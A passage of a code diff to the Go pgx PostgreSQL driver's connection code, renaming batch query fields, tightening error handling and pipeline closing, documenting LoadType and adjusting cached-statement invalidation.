|
||||
queryRewriter = arg
|
||||
@@ -884,21 +924,23 @@ func (c *Conn) SendBatch(ctx context.Context, b *Batch) (br BatchResults) {
|
||||
var err error
|
||||
sql, arguments, err = queryRewriter.RewriteQuery(ctx, c, sql, arguments)
|
||||
if err != nil {
|
||||
return &batchResults{ctx: ctx, conn: c, err: fmt.Errorf("rewrite query failed: %v", err)}
|
||||
return &batchResults{ctx: ctx, conn: c, err: fmt.Errorf("rewrite query failed: %w", err)}
|
||||
}
|
||||
}
|
||||
|
||||
bi.query = sql
|
||||
bi.arguments = arguments
|
||||
bi.SQL = sql
|
||||
bi.Arguments = arguments
|
||||
}
|
||||
|
||||
// TODO: changing mode per batch? Update Batch.Queue function comment when implemented
|
||||
mode := c.config.DefaultQueryExecMode
|
||||
if mode == QueryExecModeSimpleProtocol {
|
||||
return c.sendBatchQueryExecModeSimpleProtocol(ctx, b)
|
||||
}
|
||||
|
||||
// All other modes use extended protocol and thus can use prepared statements.
|
||||
for _, bi := range b.queuedQueries {
|
||||
if sd, ok := c.preparedStatements[bi.query]; ok {
|
||||
for _, bi := range b.QueuedQueries {
|
||||
if sd, ok := c.preparedStatements[bi.SQL]; ok {
|
||||
bi.sd = sd
|
||||
}
|
||||
}
|
||||
@@ -919,11 +961,11 @@ func (c *Conn) SendBatch(ctx context.Context, b *Batch) (br BatchResults) {
|
||||
|
||||
func (c *Conn) sendBatchQueryExecModeSimpleProtocol(ctx context.Context, b *Batch) *batchResults {
|
||||
var sb strings.Builder
|
||||
for i, bi := range b.queuedQueries {
|
||||
for i, bi := range b.QueuedQueries {
|
||||
if i > 0 {
|
||||
sb.WriteByte(';')
|
||||
}
|
||||
sql, err := c.sanitizeForSimpleQuery(bi.query, bi.arguments...)
|
||||
sql, err := c.sanitizeForSimpleQuery(bi.SQL, bi.Arguments...)
|
||||
if err != nil {
|
||||
return &batchResults{ctx: ctx, conn: c, err: err}
|
||||
}
|
||||
@@ -942,21 +984,21 @@ func (c *Conn) sendBatchQueryExecModeSimpleProtocol(ctx context.Context, b *Batc
|
||||
func (c *Conn) sendBatchQueryExecModeExec(ctx context.Context, b *Batch) *batchResults {
|
||||
batch := &pgconn.Batch{}
|
||||
|
||||
for _, bi := range b.queuedQueries {
|
||||
for _, bi := range b.QueuedQueries {
|
||||
sd := bi.sd
|
||||
if sd != nil {
|
||||
err := c.eqb.Build(c.typeMap, sd, bi.arguments)
|
||||
err := c.eqb.Build(c.typeMap, sd, bi.Arguments)
|
||||
if err != nil {
|
||||
return &batchResults{ctx: ctx, conn: c, err: err}
|
||||
}
|
||||
|
||||
batch.ExecPrepared(sd.Name, c.eqb.ParamValues, c.eqb.ParamFormats, c.eqb.ResultFormats)
|
||||
} else {
|
||||
err := c.eqb.Build(c.typeMap, nil, bi.arguments)
|
||||
err := c.eqb.Build(c.typeMap, nil, bi.Arguments)
|
||||
if err != nil {
|
||||
return &batchResults{ctx: ctx, conn: c, err: err}
|
||||
}
|
||||
batch.ExecParams(bi.query, c.eqb.ParamValues, nil, c.eqb.ParamFormats, c.eqb.ResultFormats)
|
||||
batch.ExecParams(bi.SQL, c.eqb.ParamValues, nil, c.eqb.ParamFormats, c.eqb.ResultFormats)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -975,24 +1017,24 @@ func (c *Conn) sendBatchQueryExecModeExec(ctx context.Context, b *Batch) *batchR
|
||||
|
||||
func (c *Conn) sendBatchQueryExecModeCacheStatement(ctx context.Context, b *Batch) (pbr *pipelineBatchResults) {
|
||||
if c.statementCache == nil {
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: errDisabledStatementCache}
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: errDisabledStatementCache, closed: true}
|
||||
}
|
||||
|
||||
distinctNewQueries := []*pgconn.StatementDescription{}
|
||||
distinctNewQueriesIdxMap := make(map[string]int)
|
||||
|
||||
for _, bi := range b.queuedQueries {
|
||||
for _, bi := range b.QueuedQueries {
|
||||
if bi.sd == nil {
|
||||
sd := c.statementCache.Get(bi.query)
|
||||
sd := c.statementCache.Get(bi.SQL)
|
||||
if sd != nil {
|
||||
bi.sd = sd
|
||||
} else {
|
||||
if idx, present := distinctNewQueriesIdxMap[bi.query]; present {
|
||||
if idx, present := distinctNewQueriesIdxMap[bi.SQL]; present {
|
||||
bi.sd = distinctNewQueries[idx]
|
||||
} else {
|
||||
sd = &pgconn.StatementDescription{
|
||||
Name: stmtcache.NextStatementName(),
|
||||
SQL: bi.query,
|
||||
Name: stmtcache.StatementName(bi.SQL),
|
||||
SQL: bi.SQL,
|
||||
}
|
||||
distinctNewQueriesIdxMap[sd.SQL] = len(distinctNewQueries)
|
||||
distinctNewQueries = append(distinctNewQueries, sd)
|
||||
@@ -1007,23 +1049,23 @@ func (c *Conn) sendBatchQueryExecModeCacheStatement(ctx context.Context, b *Batc
|
||||
|
||||
func (c *Conn) sendBatchQueryExecModeCacheDescribe(ctx context.Context, b *Batch) (pbr *pipelineBatchResults) {
|
||||
if c.descriptionCache == nil {
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: errDisabledDescriptionCache}
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: errDisabledDescriptionCache, closed: true}
|
||||
}
|
||||
|
||||
distinctNewQueries := []*pgconn.StatementDescription{}
|
||||
distinctNewQueriesIdxMap := make(map[string]int)
|
||||
|
||||
for _, bi := range b.queuedQueries {
|
||||
for _, bi := range b.QueuedQueries {
|
||||
if bi.sd == nil {
|
||||
sd := c.descriptionCache.Get(bi.query)
|
||||
sd := c.descriptionCache.Get(bi.SQL)
|
||||
if sd != nil {
|
||||
bi.sd = sd
|
||||
} else {
|
||||
if idx, present := distinctNewQueriesIdxMap[bi.query]; present {
|
||||
if idx, present := distinctNewQueriesIdxMap[bi.SQL]; present {
|
||||
bi.sd = distinctNewQueries[idx]
|
||||
} else {
|
||||
sd = &pgconn.StatementDescription{
|
||||
SQL: bi.query,
|
||||
SQL: bi.SQL,
|
||||
}
|
||||
distinctNewQueriesIdxMap[sd.SQL] = len(distinctNewQueries)
|
||||
distinctNewQueries = append(distinctNewQueries, sd)
|
||||
@@ -1040,13 +1082,13 @@ func (c *Conn) sendBatchQueryExecModeDescribeExec(ctx context.Context, b *Batch)
|
||||
distinctNewQueries := []*pgconn.StatementDescription{}
|
||||
distinctNewQueriesIdxMap := make(map[string]int)
|
||||
|
||||
for _, bi := range b.queuedQueries {
|
||||
for _, bi := range b.QueuedQueries {
|
||||
if bi.sd == nil {
|
||||
if idx, present := distinctNewQueriesIdxMap[bi.query]; present {
|
||||
if idx, present := distinctNewQueriesIdxMap[bi.SQL]; present {
|
||||
bi.sd = distinctNewQueries[idx]
|
||||
} else {
|
||||
sd := &pgconn.StatementDescription{
|
||||
SQL: bi.query,
|
||||
SQL: bi.SQL,
|
||||
}
|
||||
distinctNewQueriesIdxMap[sd.SQL] = len(distinctNewQueries)
|
||||
distinctNewQueries = append(distinctNewQueries, sd)
|
||||
@@ -1059,9 +1101,9 @@ func (c *Conn) sendBatchQueryExecModeDescribeExec(ctx context.Context, b *Batch)
|
||||
}
|
||||
|
||||
func (c *Conn) sendBatchExtendedWithDescription(ctx context.Context, b *Batch, distinctNewQueries []*pgconn.StatementDescription, sdCache stmtcache.Cache) (pbr *pipelineBatchResults) {
|
||||
pipeline := c.pgConn.StartPipeline(context.Background())
|
||||
pipeline := c.pgConn.StartPipeline(ctx)
|
||||
defer func() {
|
||||
if pbr.err != nil {
|
||||
if pbr != nil && pbr.err != nil {
|
||||
pipeline.Close()
|
||||
}
|
||||
}()
|
||||
@@ -1074,18 +1116,18 @@ func (c *Conn) sendBatchExtendedWithDescription(ctx context.Context, b *Batch, d
|
||||
|
||||
err := pipeline.Sync()
|
||||
if err != nil {
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: err}
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: err, closed: true}
|
||||
}
|
||||
|
||||
for _, sd := range distinctNewQueries {
|
||||
results, err := pipeline.GetResults()
|
||||
if err != nil {
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: err}
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: err, closed: true}
|
||||
}
|
||||
|
||||
resultSD, ok := results.(*pgconn.StatementDescription)
|
||||
if !ok {
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: fmt.Errorf("expected statement description, got %T", results)}
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: fmt.Errorf("expected statement description, got %T", results), closed: true}
|
||||
}
|
||||
|
||||
// Fill in the previously empty / pending statement descriptions.
|
||||
@@ -1095,12 +1137,12 @@ func (c *Conn) sendBatchExtendedWithDescription(ctx context.Context, b *Batch, d
|
||||
|
||||
results, err := pipeline.GetResults()
|
||||
if err != nil {
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: err}
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: err, closed: true}
|
||||
}
|
||||
|
||||
_, ok := results.(*pgconn.PipelineSync)
|
||||
if !ok {
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: fmt.Errorf("expected sync, got %T", results)}
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: fmt.Errorf("expected sync, got %T", results), closed: true}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1112,12 +1154,12 @@ func (c *Conn) sendBatchExtendedWithDescription(ctx context.Context, b *Batch, d
|
||||
}
|
||||
|
||||
// Queue the queries.
|
||||
for _, bi := range b.queuedQueries {
|
||||
err := c.eqb.Build(c.typeMap, bi.sd, bi.arguments)
|
||||
for _, bi := range b.QueuedQueries {
|
||||
err := c.eqb.Build(c.typeMap, bi.sd, bi.Arguments)
|
||||
if err != nil {
|
||||
// we wrap the error so we the user can understand which query failed inside the batch
|
||||
err = fmt.Errorf("error building query %s: %w", bi.query, err)
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: err}
|
||||
err = fmt.Errorf("error building query %s: %w", bi.SQL, err)
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: err, closed: true}
|
||||
}
|
||||
|
||||
if bi.sd.Name == "" {
|
||||
@@ -1129,7 +1171,7 @@ func (c *Conn) sendBatchExtendedWithDescription(ctx context.Context, b *Batch, d
|
||||
|
||||
err := pipeline.Sync()
|
||||
if err != nil {
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: err}
|
||||
return &pipelineBatchResults{ctx: ctx, conn: c, err: err, closed: true}
|
||||
}
|
||||
|
||||
return &pipelineBatchResults{
|
||||
@@ -1161,7 +1203,15 @@ func (c *Conn) sanitizeForSimpleQuery(sql string, args ...any) (string, error) {
|
||||
return sanitize.SanitizeSQL(sql, valueArgs...)
|
||||
}
|
||||
|
||||
// LoadType inspects the database for typeName and produces a pgtype.Type suitable for registration.
|
||||
// LoadType inspects the database for typeName and produces a pgtype.Type suitable for registration. typeName must be
|
||||
// the name of a type where the underlying type(s) is already understood by pgx. It is for derived types. In particular,
|
||||
// typeName must be one of the following:
|
||||
// - An array type name of a type that is already registered. e.g. "_foo" when "foo" is registered.
|
||||
// - A composite type name where all field types are already registered.
|
||||
// - A domain type name where the base type is already registered.
|
||||
// - An enum type name.
|
||||
// - A range type name where the element type is already registered.
|
||||
// - A multirange type name where the element type is already registered.
|
||||
func (c *Conn) LoadType(ctx context.Context, typeName string) (*pgtype.Type, error) {
|
||||
var oid uint32
|
||||
|
||||
@@ -1282,7 +1332,9 @@ func (c *Conn) getCompositeFields(ctx context.Context, oid uint32) ([]pgtype.Com
|
||||
var fieldOID uint32
|
||||
rows, _ := c.Query(ctx, `select attname, atttypid
|
||||
from pg_attribute
|
||||
where attrelid=$1 and not attisdropped
|
||||
where attrelid=$1
|
||||
and not attisdropped
|
||||
and attnum > 0
|
||||
order by attnum`,
|
||||
typrelid,
|
||||
)
|
||||
@@ -1302,17 +1354,17 @@ order by attnum`,
|
||||
}
|
||||
|
||||
func (c *Conn) deallocateInvalidatedCachedStatements(ctx context.Context) error {
|
||||
if c.pgConn.TxStatus() != 'I' {
|
||||
if txStatus := c.pgConn.TxStatus(); txStatus != 'I' && txStatus != 'T' {
|
||||
return nil
|
||||
}
|
||||
|
||||
if c.descriptionCache != nil {
|
||||
c.descriptionCache.HandleInvalidated()
|
||||
c.descriptionCache.RemoveInvalidated()
|
||||
}
|
||||
|
||||
var invalidatedStatements []*pgconn.StatementDescription
|
||||
if c.statementCache != nil {
|
||||
invalidatedStatements = c.statementCache.HandleInvalidated()
|
||||
invalidatedStatements = c.statementCache.GetInvalidated()
|
||||
}
|
||||
|
||||
if len(invalidatedStatements) == 0 {
|
||||
@@ -1336,5 +1388,10 @@ func (c *Conn) deallocateInvalidatedCachedStatements(ctx context.Context) error
|
||||
return fmt.Errorf("failed to deallocate cached statement(s): %w", err)
|
||||
}
|
||||
|
||||
c.statementCache.RemoveInvalidated()
|
||||
for _, sd := range invalidatedStatements {
|
||||
delete(c.preparedStatements, sd.Name)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
Loaded 100 of 562 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user